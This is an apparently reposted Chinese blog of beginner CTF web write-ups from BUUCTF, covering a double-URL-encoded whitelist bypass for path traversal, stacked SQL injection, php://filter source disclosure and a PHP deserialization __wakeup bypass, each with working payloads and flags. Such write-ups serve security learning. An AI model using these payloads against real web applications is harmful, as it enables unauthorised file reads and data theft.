從零開始的CTFer成長之路 - Web篇


本篇記錄CTF中Web題WriteUp,適合入門新手但不適用於零基礎,推薦使用右下角目錄瀏覽

2021-5-12

[HCTF 2018]WarmUp - 出自BUUCTF

打開頁面發現有張圖片 我們直接查看源碼分析

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

可以看到存在頁面: source.php 訪問可以直接看到源代碼 其中

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)

定義了三個條件

1.不允許為空
2.必須為字符串
3.通過checkFile()函數校驗

接下來分析checkFile()函數:

class emmm  //定義emmm類
{
    public static function checkFile(&$page)  #//將傳入的參數給$page
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //聲明變量$whitelist數組
        if (! isset($page) || !is_string($page)) {  //若$page值為空或者$page不是字符串
            echo "you can't see it";
            return false;
        }
        if (in_array($page, $whitelist)) {  //若$page值存在於$whitelist數組中
            return true;
        }
        $_page = mb_substr(  //截取$page字符串?前面的部分,若無則截取整段$page
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        $_page = urldecode($page);  //url解碼$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

$whitelist = ["source"=>"source.php","hint"=>"hint.php"] 定義了hint的參數只能為source.php或hint.php
我們在source.php后面跟上?file=hint.php 頁面返回結果

flag not here, and flag in ffffllllaaaagggg

可以知道flag文件的文件名為ffffllllaaaagggg
其中 urldecode()對$page進行了解碼后再次截取了?前的內容並且賦值給$_page

        $_page = urldecode($page);  //url解碼$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );

我們可以通過這個函數繞過白名單檢測,將?編碼兩次后的結果%253F作為參數拼接出payload

http://5bc874fd-f511-4f3f-91eb-6fac30058d51.node3.buuoj.cn/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg

FLAG : flag{34643d71-22e7-4c62-bcd1-8245dc2e813a}


2021-5-21

[SUCTF 2019]EasySQL - 出自BUUCTF

我們首先進入頁面 對注入點進行測試 輸入數字頁面回顯數組

嘗試輸入字符串頁面沒有回顯

輸入注入語句頁面返回Nonono.

嘗試堆疊注入 構建語句查詢數據庫

1;show databases;


同理構建語句查詢當前使用的庫下的所有的表

1;show tables;


嘗試使用show columns查看flag表內的數據

1;show columns from Flag;#

發現from被屏蔽了 頁面返回Nonono.

多次嘗試無果 在writeup內找到網頁源代碼

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
        			|readfile|where|from|union|update|delete|if|sleep|extractvalue|
    			    updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }
    
    ?>

我們找到注入點的語句

select ".$post['query']."||flag from Flag

語句會創建query傳來參數的字段與結果一起查詢


構建語句 查詢表中所有結果 在網頁中返回flag值

select *,1||flag from Flag


flag{d6a4e191-b241-44b2-8132-b4bbf9968a52}


[ACTF2020 新生賽]Include - 出自BUUCTF

打開頁面點擊tips看到URL對flag.php頁面進行了包含

進行多次嘗試包含上級目錄的是否存在flag文件無果轉換思路 通過php偽協議查看當前頁面源碼 構建語句

file=php://filter/read=convert.base64-encode/resource=flag.php

網頁返回base64加密后的源碼

解碼后發現網頁源代碼內就存在flag

>>> import base64
>>> str ="PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTNmNGY0YjUtNTdkMy00ZDViLWEzMTQtMzQ1ZTIxODU1MmFhfQo="
>>> base64.b64decode(str)
b'<?php\necho "Can you find out the flag?";\n//flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}\n'
>>>

flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}


2021-6-01

[極客大挑戰 2019]PHP - 出自BUUCTF

知識點:PHP反序列化

我們首先打開頁面看到提示存在備份文件,使用目錄掃描工具掃描

得到壓縮包www.zip 查看壓縮包下存在三個頁面

  • index.php - 主頁

  • class.php - 主頁包含頁面

  • flag.php - 存在錯誤Flag的無用頁面

在index.php看到源碼

    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);

對頁面class.php進行了包含 並且接受傳入反序列化后的select參數

接下來分析class.php頁面

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

可以看到當傳入參數username='admin'且password=100時,執行__destruct()方法將會得到Flag,所以我們構建序列化參數

<?php

class Name{
    private $username = 'admin';
    private $password = 100;
}

$a = new Name();
var_dump(serialize($a));

保存代碼后執行 獲得序列化后的數據

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在傳入參數前還需要注意__wakeup()魔法函數 在這順便貼一下常見魔法函數:

__construct() 創建對象時調用
__destruct() 銷毀對象時調用
__toString() 當一個對象被當作一個字符串使用
__sleep() 在對象在被序列化之前運行
__wakeup 將在序列化之后立即被調用

__wakeup()魔法函數實際上是可以跳過的,當反序列化字符串時,屬性的個數大於實際屬性個數時,例如:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

0 代表對象名
3 代表占三個字符
Name 類名
3 代表3個屬性
s 數據類型string
Nameusername 類名+屬性名

在傳入數據之前我們還需要注意Name類中聲明字段時,使用private聲明的私有字段,*private修飾變量時為x00類名x00變量名 但是在構建腳本時x00會報錯,所以用%00來填充,根據已有信息,構建payload獲得Flag

[URL]?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

flag{8ed20c73-6cc3-4082-b5d2-121ec8c64f65}



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM